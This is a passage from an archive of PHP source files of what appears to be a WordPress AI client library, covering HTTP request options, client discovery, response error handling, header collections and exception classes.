    public function setTimeout(?float $timeout): void
    {
        $this->validateTimeout($timeout, self::KEY_TIMEOUT);
        $this->timeout = $timeout;
    }
    /**
     * Sets the connection timeout in seconds.
     *
     * @since 0.2.0
     *
     * @param float|null $timeout Connection timeout in seconds.
     * @return void
     *
     * @throws InvalidArgumentException When timeout is negative.
     */
    public function setConnectTimeout(?float $timeout): void
    {
        $this->validateTimeout($timeout, self::KEY_CONNECT_TIMEOUT);
        $this->connectTimeout = $timeout;
    }
    /**
     * Sets the maximum number of redirects to follow.
     *
     * Set to 0 to disable redirects, null for unspecified, or a positive integer
     * to enable redirects with a maximum count.
     *
     * @since 0.2.0
     *
     * @param int|null $maxRedirects Maximum redirects to follow, or 0 to disable, or null for unspecified.
     * @return void
     *
     * @throws InvalidArgumentException When redirect count is negative.
     */
    public function setMaxRedirects(?int $maxRedirects): void
    {
        if ($maxRedirects !== null && $maxRedirects < 0) {
            throw new InvalidArgumentException('Request option "maxRedirects" must be greater than or equal to 0.');
        }
        $this->maxRedirects = $maxRedirects;
    }
    /**
     * Gets the request timeout in seconds.
     *
     * @since 0.2.0
     *
     * @return float|null Timeout in seconds.
     */
    public function getTimeout(): ?float
    {
        return $this->timeout;
    }
    /**
     * Gets the connection timeout in seconds.
     *
     * @since 0.2.0
     *
     * @return float|null Connection timeout in seconds.
     */
    public function getConnectTimeout(): ?float
    {
        return $this->connectTimeout;
    }
    /**
     * Checks whether redirects are allowed.
     *
     * @since 0.2.0
     *
     * @return bool|null True when redirects are allowed (maxRedirects > 0),
     *                   false when disabled (maxRedirects = 0),
     *                   null when unspecified (maxRedirects = null).
     */
    public function allowsRedirects(): ?bool
    {
        if ($this->maxRedirects === null) {
            return null;
        }
        return $this->maxRedirects > 0;
    }
    /**
     * Gets the maximum number of redirects to follow.
     *
     * @since 0.2.0
     *
     * @return int|null Maximum redirects or null when not specified.
     */
    public function getMaxRedirects(): ?int
    {
        return $this->maxRedirects;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.2.0
     *
     * @return RequestOptionsArrayShape
     */
    public function toArray(): array
    {
        $data = [];
        if ($this->timeout !== null) {
            $data[self::KEY_TIMEOUT] = $this->timeout;
        }
        if ($this->connectTimeout !== null) {
            $data[self::KEY_CONNECT_TIMEOUT] = $this->connectTimeout;
        }
        if ($this->maxRedirects !== null) {
            $data[self::KEY_MAX_REDIRECTS] = $this->maxRedirects;
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.2.0
     */
    public static function fromArray(array $array): self
    {
        $instance = new self();
        if (isset($array[self::KEY_TIMEOUT])) {
            $instance->setTimeout((float) $array[self::KEY_TIMEOUT]);
        }
        if (isset($array[self::KEY_CONNECT_TIMEOUT])) {
            $instance->setConnectTimeout((float) $array[self::KEY_CONNECT_TIMEOUT]);
        }
        if (isset($array[self::KEY_MAX_REDIRECTS])) {
            $instance->setMaxRedirects((int) $array[self::KEY_MAX_REDIRECTS]);
        }
        return $instance;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.2.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'properties' => [self::KEY_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the full response.'], self::KEY_CONNECT_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the initial connection.'], self::KEY_MAX_REDIRECTS => ['type' => ['integer', 'null'], 'minimum' => 0, 'description' => 'Maximum redirects to follow. 0 disables, null is unspecified.']], 'additionalProperties' => \false];
    }
    /**
     * Validates timeout values.
     *
     * @since 0.2.0
     *
     * @param float|null $value Timeout to validate.
     * @param string $fieldName Field name for the error message.
     *
     * @throws InvalidArgumentException When timeout is negative.
     */
    private function validateTimeout(?float $value, string $fieldName): void
    {
        if ($value !== null && $value < 0) {
            throw new InvalidArgumentException(sprintf('Request option "%s" must be greater than or equal to 0.', $fieldName));
        }
    }
}
src/Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.php000064400000005557152205304550021220 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Abstracts;

use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy;
use WordPress\AiClientDependencies\Nyholm\Psr7\Factory\Psr17Factory;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
/**
 * Abstract discovery strategy for HTTP client implementations.
 *
 * Provides a base for registering custom HTTP client implementations
 * with HTTPlug's discovery mechanism. Subclasses must implement
 * the createClient() method to provide their specific PSR-18
 * HTTP client instance using the provided Psr17Factory.
 *
 * @since 1.1.0
 */
abstract class AbstractClientDiscoveryStrategy implements DiscoveryStrategy
{
    /**
     * Initializes and registers the discovery strategy.
     *
     * @since 1.1.0
     *
     * @return void
     */
    public static function init(): void
    {
        if (!class_exists('WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery')) {
            return;
        }
        Psr18ClientDiscovery::prependStrategy(static::class);
    }
    /**
     * {@inheritDoc}
     *
     * @since 1.1.0
     *
     * @param string $type The type of discovery.
     * @return array<array<string, mixed>> The discovery candidates.
     */
    public static function getCandidates($type)
    {
        if (ClientInterface::class === $type) {
            return [['class' => static function () {
                $psr17Factory = new Psr17Factory();
                return static::createClient($psr17Factory);
            }]];
        }
        $psr17Factories = ['WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface'];
        if (in_array($type, $psr17Factories, \true)) {
            return [['class' => Psr17Factory::class]];
        }
        return [];
    }
    /**
     * Creates an instance of the HTTP client.
     *
     * Subclasses must implement this method to return their specific
     * PSR-18 HTTP client instance. The provided Psr17Factory implements
     * all PSR-17 interfaces (RequestFactory, ResponseFactory, StreamFactory,
     * etc.) and can be used to satisfy client constructor dependencies.
     *
     * @since 1.1.0
     *
     * @param Psr17Factory $psr17Factory The PSR-17 factory for creating HTTP messages.
     * @return ClientInterface The PSR-18 HTTP client.
     */
    abstract protected static function createClient(Psr17Factory $psr17Factory): ClientInterface;
}
src/Providers/Http/HttpTransporterFactory.php000064400000002026152205304550015454 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http;

use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
/**
 * Factory for creating HTTP transporters.
 *
 * Uses HTTPlug's Discovery component to automatically find
 * available HTTP clients and factories.
 *
 * @since 0.1.0
 */
class HttpTransporterFactory
{
    /**
     * Creates an HTTP transporter.
     *
     * Uses HTTPlug Discovery to automatically find PSR-18 client
     * and PSR-17 factories if not provided.
     *
     * @since 0.1.0
     *
     * @return HttpTransporterInterface The HTTP transporter.
     */
    public static function createTransporter(): HttpTransporterInterface
    {
        return new \WordPress\AiClient\Providers\Http\HttpTransporter(Psr18ClientDiscovery::find(), Psr17FactoryDiscovery::findRequestFactory(), Psr17FactoryDiscovery::findStreamFactory());
    }
}
src/Providers/Http/Util/ResponseUtil.php000064400000004146152205304550014317 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Util;

use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Exception\ClientException;
use WordPress\AiClient\Providers\Http\Exception\RedirectException;
use WordPress\AiClient\Providers\Http\Exception\ServerException;
/**
 * Class with static utility methods to process HTTP responses.
 *
 * @since 0.1.0
 */
class ResponseUtil
{
    /**
     * Throws an appropriate exception if the given response is not successful.
     *
     * This method checks the HTTP status code of the response and throws
     * the appropriate exception type based on the status code range:
     * - 3xx: RedirectException (redirect responses)
     * - 4xx: ClientException (client errors)
     * - 5xx: ServerException (server errors)
     * - Other unsuccessful responses: RuntimeException (invalid status codes)
     *
     * @since 0.1.0
     *
     * @param Response $response The HTTP response to check.
     * @throws RedirectException If the response indicates a redirect (3xx).
     * @throws ClientException If the response indicates a client error (4xx).
     * @throws ServerException If the response indicates a server error (5xx).
     * @throws \RuntimeException If the response has an invalid status code.
     */
    public static function throwIfNotSuccessful(Response $response): void
    {
        if ($response->isSuccessful()) {
            return;
        }
        $statusCode = $response->getStatusCode();
        // 3xx Redirect Responses
        if ($statusCode >= 300 && $statusCode < 400) {
            throw RedirectException::fromRedirectResponse($response);
        }
        // 4xx Client Errors
        if ($statusCode >= 400 && $statusCode < 500) {
            throw ClientException::fromClientErrorResponse($response);
        }
        // 5xx Server Errors
        if ($statusCode >= 500 && $statusCode < 600) {
            throw ServerException::fromServerErrorResponse($response);
        }
        throw new \RuntimeException(sprintf('Response returned invalid status code: %s', $response->getStatusCode()));
    }
}
src/Providers/Http/Util/ErrorMessageExtractor.php000064400000003545152205304550016157 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Util;

/**
 * Utility for extracting error messages from API response data.
 *
 * Centralizes the logic for parsing common API error response formats
 * to avoid code duplication across exception classes.
 *
 * @since 0.2.0
 * @since 0.4.0 Moved from Utilities namespace to Util namespace.
 */
class ErrorMessageExtractor
{
    /**
     * Extracts error message from API response data.
     *
     * Handles common error response formats:
     * - { "error": { "message": "Error text" } }
     * - { "error": "Error text" }
     * - { "message": "Error text" }
     *
     * @since 0.2.0
     *
     * @param mixed $data The response data to extract error message from.
     * @return string|null The extracted error message, or null if none found.
     */
    public static function extractFromResponseData($data): ?string
    {
        if (!is_array($data)) {
            return null;
        }
        // Handle [ { "error": { "message": "Error text" } } ]
        if (isset($data[0]) && is_array($data[0]) && isset($data[0]['error']) && is_array($data[0]['error']) && isset($data[0]['error']['message']) && is_string($data[0]['error']['message'])) {
            return $data[0]['error']['message'];
        }
        // Handle { "error": { "message": "Error text" } }
        if (isset($data['error']) && is_array($data['error']) && isset($data['error']['message']) && is_string($data['error']['message'])) {
            return $data['error']['message'];
        }
        // Handle { "error": "Error text" }
        if (isset($data['error']) && is_string($data['error'])) {
            return $data['error'];
        }
        // Handle { "message": "Error text" }
        if (isset($data['message']) && is_string($data['message'])) {
            return $data['message'];
        }
        return null;
    }
}
src/Providers/Http/Traits/WithHttpTransporterTrait.php000064400000002106152205304550017231 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Traits;

use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
/**
 * Trait for a class that implements WithHttpTransporterInterface.
 *
 * @since 0.1.0
 */
trait WithHttpTransporterTrait
{
    /**
     * @var HttpTransporterInterface|null The HTTP transporter instance.
     */
    private ?HttpTransporterInterface $httpTransporter = null;
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
    {
        $this->httpTransporter = $httpTransporter;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getHttpTransporter(): HttpTransporterInterface
    {
        if ($this->httpTransporter === null) {
            throw new RuntimeException('HttpTransporterInterface instance not set. Make sure you use the AiClient class for all requests.');
        }
        return $this->httpTransporter;
    }
}
src/Providers/Http/Traits/WithRequestAuthenticationTrait.php000064400000002261152205304550020400 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Traits;

use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
/**
 * Trait for a class that implements WithRequestAuthenticationInterface.
 *
 * @since 0.1.0
 */
trait WithRequestAuthenticationTrait
{
    /**
     * @var RequestAuthenticationInterface|null The request authentication instance.
     */
    private ?RequestAuthenticationInterface $requestAuthentication = null;
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function setRequestAuthentication(RequestAuthenticationInterface $requestAuthentication): void
    {
        $this->requestAuthentication = $requestAuthentication;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function getRequestAuthentication(): RequestAuthenticationInterface
    {
        if ($this->requestAuthentication === null) {
            throw new RuntimeException('RequestAuthenticationInterface instance not set. ' . 'Make sure you use the AiClient class for all requests.');
        }
        return $this->requestAuthentication;
    }
}
src/Providers/Http/Contracts/WithRequestAuthenticationInterface.php000064400000001540152205304550021706 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;

/**
 * Interface for models that support request authentication.
 *
 * @since 0.1.0
 */
interface WithRequestAuthenticationInterface
{
    /**
     * Sets the request authentication.
     *
     * @since 0.1.0
     *
     * @param RequestAuthenticationInterface $authentication The authentication instance.
     * @return void
     */
    public function setRequestAuthentication(\WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface $authentication): void;
    /**
     * Returns the request authentication.
     *
     * @since 0.1.0
     *
     * @return RequestAuthenticationInterface The authentication instance.
     */
    public function getRequestAuthentication(): \WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
}
src/Providers/Http/Contracts/WithHttpTransporterInterface.php000064400000001455152205304550020546 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;

/**
 * Interface for models that require HTTP transport capabilities.
 *
 * @since 0.1.0
 */
interface WithHttpTransporterInterface
{
    /**
     * Sets the HTTP transporter.
     *
     * @since 0.1.0
     *
     * @param HttpTransporterInterface $transporter The HTTP transporter instance.
     * @return void
     */
    public function setHttpTransporter(\WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface $transporter): void;
    /**
     * Returns the HTTP transporter.
     *
     * @since 0.1.0
     *
     * @return HttpTransporterInterface The HTTP transporter instance.
     */
    public function getHttpTransporter(): \WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
}
src/Providers/Http/Contracts/HttpTransporterInterface.php000064400000001534152205304550017710 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;

use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\DTO\Response;
/**
 * Interface for HTTP transport implementations.
 *
 * Handles sending HTTP requests and receiving responses using
 * PSR-7, PSR-17, and PSR-18 standards internally.
 *
 * @since 0.1.0
 */
interface HttpTransporterInterface
{
    /**
     * Sends an HTTP request and returns the response.
     *
     * @since 0.1.0
     *
     * @param Request $request The request to send.
     * @param RequestOptions|null $options Optional transport options for the request.
     * @return Response The response received.
     */
    public function send(Request $request, ?RequestOptions $options = null): Response;
}
src/Providers/Http/Contracts/RequestAuthenticationInterface.php000064400000001155152205304550021054 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;

use WordPress\AiClient\Common\Contracts\WithJsonSchemaInterface;
use WordPress\AiClient\Providers\Http\DTO\Request;
/**
 * Interface for HTTP request authentication.
 *
 * @since 0.1.0
 */
interface RequestAuthenticationInterface extends WithJsonSchemaInterface
{
    /**
     * Authenticates an HTTP request.
     *
     * @since 0.1.0
     *
     * @param Request $request The request to authenticate.
     * @return Request The authenticated request.
     */
    public function authenticateRequest(Request $request): Request;
}
src/Providers/Http/Contracts/ClientWithOptionsInterface.php000064400000002001152205304550020141 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
/**
 * Interface for HTTP clients that support per-request transport options.
 *
 * Extends the capabilities of PSR-18 clients by allowing custom transport
 * configuration such as timeouts and redirect handling on each request.
 *
 * @since 0.2.0
 */
interface ClientWithOptionsInterface
{
    /**
     * Sends an HTTP request with the given transport options.
     *
     * @since 0.2.0
     *
     * @param RequestInterface $request The PSR-7 request to send.
     * @param RequestOptions $options The request transport options. Must not be null.
     * @return ResponseInterface The PSR-7 response received.
     */
    public function sendRequestWithOptions(RequestInterface $request, RequestOptions $options): ResponseInterface;
}
src/Providers/Http/Collections/HeadersCollection.php000064400000007411152205304550016611 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Collections;

/**
 * Simple collection for managing HTTP headers with case-insensitive access.
 *
 * This class stores HTTP headers while preserving their original casing
 * and provides efficient case-insensitive lookups.
 *
 * @since 0.1.0
 */
class HeadersCollection
{
    /**
     * @var array<string, list<string>> The headers with original casing.
     */
    private array $headers = [];
    /**
     * @var array<string, string> Map of lowercase header names to actual header names.
     */
    private array $headersMap = [];
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param array<string, string|list<string>> $headers Initial headers.
     */
    public function __construct(array $headers = [])
    {
        foreach ($headers as $name => $value) {
            $this->set($name, $value);
        }
    }
    /**
     * Gets a specific header value.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return list<string>|null The header value(s) or null if not found.
     */
    public function get(string $name): ?array
    {
        $lowerName = strtolower($name);
        if (!isset($this->headersMap[$lowerName])) {
            return null;
        }
        $actualName = $this->headersMap[$lowerName];
        return $this->headers[$actualName];
    }
    /**
     * Gets all headers.
     *
     * @since 0.1.0
     *
     * @return array<string, list<string>> All headers with their original casing.
     */
    public function getAll(): array
    {
        return $this->headers;
    }
    /**
     * Gets header values as a comma-separated string.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return string|null The header values as a comma-separated string or null if not found.
     */
    public function getAsString(string $name): ?string
    {
        $values = $this->get($name);
        return $values !== null ? implode(', ', $values) : null;
    }
    /**
     * Checks if a header exists.
     *
     * @since 0.1.0
     *
     * @param string $name The header name (case-insensitive).
     * @return bool True if the header exists, false otherwise.
     */
    public function has(string $name): bool
    {
        return isset($this->headersMap[strtolower($name)]);
    }
    /**
     * Sets a header value, replacing any existing value.
     *
     * @since 0.1.0
     *
     * @param string $name The header name.
     * @param string|list<string> $value The header value(s).
     * @return void
     */
    private function set(string $name, $value): void
    {
        if (is_array($value)) {
            $normalizedValues = array_values($value);
        } else {
            // Split comma-separated string into array
            $normalizedValues = array_map('trim', explode(',', $value));
        }
        $lowerName = strtolower($name);
        // If header exists with different casing, remove the old casing
        if (isset($this->headersMap[$lowerName])) {
            $oldName = $this->headersMap[$lowerName];
            if ($oldName !== $name) {
                unset($this->headers[$oldName]);
            }
        }
        // Always use the new casing
        $this->headers[$name] = $normalizedValues;
        $this->headersMap[$lowerName] = $name;
    }
    /**
     * Returns a new instance with the specified header.
     *
     * @since 0.1.0
     *
     * @param string $name The header name.
     * @param string|list<string> $value The header value(s).
     * @return self A new instance with the header.
     */
    public function withHeader(string $name, $value): self
    {
        $new = clone $this;
        $new->set($name, $value);
        return $new;
    }
}
src/Providers/Http/HttpTransporter.php000064400000025234152205304550014132 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http;

use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\ClientWithOptionsInterface;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Exception\NetworkException;
/**
 * HTTP transporter implementation using HTTPlug.
 *
 * This class handles the conversion between custom Request/Response
 * objects and PSR-7 messages, using HTTPlug for client abstraction
 * and PSR-17 factories for message creation.
 *
 * @since 0.1.0
 */
class HttpTransporter implements HttpTransporterInterface
{
    /**
     * @var RequestFactoryInterface PSR-17 request factory.
     */
    private RequestFactoryInterface $requestFactory;
    /**
     * @var StreamFactoryInterface PSR-17 stream factory.
     */
    private StreamFactoryInterface $streamFactory;
    /**
     * @var ClientInterface PSR-18 HTTP client.
     */
    private ClientInterface $client;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ClientInterface|null $client PSR-18 HTTP client.
     * @param RequestFactoryInterface|null $requestFactory PSR-17 request factory.
     * @param StreamFactoryInterface|null $streamFactory PSR-17 stream factory.
     */
    public function __construct(?ClientInterface $client = null, ?RequestFactoryInterface $requestFactory = null, ?StreamFactoryInterface $streamFactory = null)
    {
        $this->client = $client ?: Psr18ClientDiscovery::find();
        $this->requestFactory = $requestFactory ?: Psr17FactoryDiscovery::findRequestFactory();
        $this->streamFactory = $streamFactory ?: Psr17FactoryDiscovery::findStreamFactory();
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     * @since 0.2.0 Added optional RequestOptions parameter and ClientWithOptions support.
     */
    public function send(Request $request, ?RequestOptions $options = null): Response
    {
        $psr7Request = $this->convertToPsr7Request($request);
        // Merge request options with parameter options, with parameter options taking precedence
        $mergedOptions = $this->mergeOptions($request->getOptions(), $options);
        try {
            $hasOptions = $mergedOptions !== null;
            if ($hasOptions && $this->client instanceof ClientWithOptionsInterface) {
                $psr7Response = $this->client->sendRequestWithOptions($psr7Request, $mergedOptions);
            } elseif ($hasOptions && $this->isGuzzleClient($this->client)) {
                $psr7Response = $this->sendWithGuzzle($psr7Request, $mergedOptions);
            } else {
                $psr7Response = $this->client->sendRequest($psr7Request);
            }
        } catch (\WordPress\AiClientDependencies\Psr\Http\Client\NetworkExceptionInterface $e) {
            throw NetworkException::fromPsr18NetworkException($psr7Request, $e);
        } catch (\WordPress\AiClientDependencies\Psr\Http\Client\ClientExceptionInterface $e) {
            // Handle other PSR-18 client exceptions that are not network-related
            throw new RuntimeException(sprintf('HTTP client error occurred while sending request to %s: %s', $request->getUri(), $e->getMessage()), 0, $e);
        }
        return $this->convertFromPsr7Response($psr7Response);
    }
    /**
     * Merges request options with parameter options taking precedence.
     *
     * @since 0.2.0
     *
     * @param RequestOptions|null $requestOptions Options from the Request object.
     * @param RequestOptions|null $parameterOptions Options passed as method parameter.
     * @return RequestOptions|null Merged options, or null if both are null.
     */
    private function mergeOptions(?RequestOptions $requestOptions, ?RequestOptions $parameterOptions): ?RequestOptions
    {
        // If no options at all, return null
        if ($requestOptions === null && $parameterOptions === null) {
            return null;
        }
        // If only one set of options exists, return it
        if ($requestOptions === null) {
            return $parameterOptions;
        }
        if ($parameterOptions === null) {
            return $requestOptions;
        }
        // Both exist, merge them with parameter options taking precedence
        $merged = new RequestOptions();
        // Start with request options (lower precedence)
        if ($requestOptions->getTimeout() !== null) {
            $merged->setTimeout($requestOptions->getTimeout());
        }
        if ($requestOptions->getConnectTimeout() !== null) {
            $merged->setConnectTimeout($requestOptions->getConnectTimeout());
        }
        if ($requestOptions->getMaxRedirects() !== null) {
            $merged->setMaxRedirects($requestOptions->getMaxRedirects());
        }
        // Override with parameter options (higher precedence)
        if ($parameterOptions->getTimeout() !== null) {
            $merged->setTimeout($parameterOptions->getTimeout());
        }
        if ($parameterOptions->getConnectTimeout() !== null) {
            $merged->setConnectTimeout($parameterOptions->getConnectTimeout());
        }
        if ($parameterOptions->getMaxRedirects() !== null) {
            $merged->setMaxRedirects($parameterOptions->getMaxRedirects());
        }
        return $merged;
    }
    /**
     * Determines if the underlying client matches the Guzzle client shape.
     *
     * @since 0.2.0
     *
     * @param ClientInterface $client The HTTP client instance.
     * @return bool True when the client exposes Guzzle's send signature.
     */
    private function isGuzzleClient(ClientInterface $client): bool
    {
        $reflection = new \ReflectionObject($client);
        if (!is_callable([$client, 'send'])) {
            return \false;
        }
        if (!$reflection->hasMethod('send')) {
            return \false;
        }
        $method = $reflection->getMethod('send');
        if (!$method->isPublic() || $method->isStatic()) {
            return \false;
        }
        $parameters = $method->getParameters();
        if (count($parameters) < 2) {
            return \false;
        }
        $firstParameter = $parameters[0]->getType();
        if (!$firstParameter instanceof \ReflectionNamedType || $firstParameter->isBuiltin()) {
            return \false;
        }
        if (!is_a($firstParameter->getName(), RequestInterface::class, \true)) {
            return \false;
        }
        $secondParameter = $parameters[1];
        $secondType = $secondParameter->getType();
        if (!$secondType instanceof \ReflectionNamedType || $secondType->getName() !== 'array') {
            return \false;
        }
        return \true;
    }
    /**
     * Sends a request using a Guzzle-compatible client.
     *
     * @since 0.2.0
     *
     * @param RequestInterface $request The PSR-7 request to send.
     * @param RequestOptions $options The request options.
     * @return ResponseInterface The PSR-7 response received.
     */
    private function sendWithGuzzle(RequestInterface $request, RequestOptions $options): ResponseInterface
    {
        $guzzleOptions = $this->buildGuzzleOptions($options);
        /** @var callable $callable */
        $callable = [$this->client, 'send'];
        /** @var ResponseInterface $response */
        $response = $callable($request, $guzzleOptions);
        return $response;
    }
    /**
     * Converts request options to a Guzzle-compatible options array.
     *
     * @since 0.2.0
     *
     * @param RequestOptions $options The request options.
     * @return array<string, mixed> Guzzle-compatible options.
     */
    private function buildGuzzleOptions(RequestOptions $options): array
    {
        $guzzleOptions = [];
        $timeout = $options->getTimeout();
        if ($timeout !== null) {
            $guzzleOptions['timeout'] = $timeout;
        }
        $connectTimeout = $options->getConnectTimeout();
        if ($connectTimeout !== null) {
            $guzzleOptions['connect_timeout'] = $connectTimeout;
        }
        $allowRedirects = $options->allowsRedirects();
        if ($allowRedirects !== null) {
            if ($allowRedirects) {
                $redirectOptions = [];
                $maxRedirects = $options->getMaxRedirects();
                if ($maxRedirects !== null) {
                    $redirectOptions['max'] = $maxRedirects;
                }
                $guzzleOptions['allow_redirects'] = !empty($redirectOptions) ? $redirectOptions : \true;
            } else {
                $guzzleOptions['allow_redirects'] = \false;
            }
        }
        return $guzzleOptions;
    }
    /**
     * Converts a custom Request to a PSR-7 request.
     *
     * @since 0.1.0
     *
     * @param Request $request The custom request.
     * @return RequestInterface The PSR-7 request.
     */
    private function convertToPsr7Request(Request $request): RequestInterface
    {
        $psr7Request = $this->requestFactory->createRequest($request->getMethod()->value, $request->getUri());
        // Add headers
        foreach ($request->getHeaders() as $name => $values) {
            foreach ($values as $value) {
                $psr7Request = $psr7Request->withAddedHeader($name, $value);
            }
        }
        // Add body if present
        $body = $request->getBody();
        if ($body !== null) {
            $stream = $this->streamFactory->createStream($body);
            $psr7Request = $psr7Request->withBody($stream);
        }
        return $psr7Request;
    }
    /**
     * Converts a PSR-7 response to a custom Response.
     *
     * @since 0.1.0
     *
     * @param ResponseInterface $psr7Response The PSR-7 response.
     * @return Response The custom response.
     */
    private function convertFromPsr7Response(ResponseInterface $psr7Response): Response
    {
        $body = (string) $psr7Response->getBody();
        // PSR-7 always returns headers as arrays, but HeadersCollection handles this
        return new Response(
            $psr7Response->getStatusCode(),
            $psr7Response->getHeaders(),
            // @phpstan-ignore-line
            $body === '' ? null : $body
        );
    }
}
src/Providers/Http/Exception/ResponseException.php000064400000003041152205304550016352 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;

use WordPress\AiClient\Common\Exception\RuntimeException;
/**
 * Exception class for HTTP response errors.
 *
 * This is used when response data is unexpected or malformed,
 * typically indicating that a provider changed in ways our code
 * is not aware of or when parsing response data fails.
 *
 * @since 0.1.0
 */
class ResponseException extends RuntimeException
{
    /**
     * Creates a ResponseException for missing expected data.
     *
     * @since 0.2.0
     *
     * @param string $apiName The name of the API/provider.
     * @param string $fieldName The field that was expected but missing.
     * @return self
     */
    public static function fromMissingData(string $apiName, string $fieldName): self
    {
        $message = sprintf('Unexpected %s API response: Missing the "%s" key.', $apiName, $fieldName);
        return new self($message);
    }
    /**
     * Creates a ResponseException from invalid data in an API response.
     *
     * @since 0.2.0
     *
     * @param string $apiName The name of the API service (e.g., 'OpenAI', 'Anthropic').
     * @param string $fieldName The field that was invalid.
     * @param string $message The specific error message describing the invalid data.
     * @return self
     */
    public static function fromInvalidData(string $apiName, string $fieldName, string $message): self
    {
        return new self(sprintf('Unexpected %s API response: Invalid "%s" key: %s', $apiName, $fieldName, $message));
    }
}
src/Providers/Http/Exception/RedirectException.php000064400000003465152205304550016327 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;

use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Response;
/**
 * Exception thrown for 3xx HTTP redirect responses.
 *
 * This represents cases where the server indicates that the request
 * should be retried at a different location, but automatic redirect
 * handling was not successful or not enabled.
 *
 * @since 0.2.0
 */
class RedirectException extends RuntimeException
{
    /**
     * Creates a RedirectException from a redirect response.
     *
     * This method extracts redirect information from the response headers
     * and creates an exception with a descriptive message and status code.
     *
     * @since 0.2.0
     *
     * @param Response $response The HTTP redirect response.
     * @return self
     */
    public static function fromRedirectResponse(Response $response): self
    {
        $statusCode = $response->getStatusCode();
        $statusTexts = [300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect'];
        if (isset($statusTexts[$statusCode])) {
            $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
        } else {
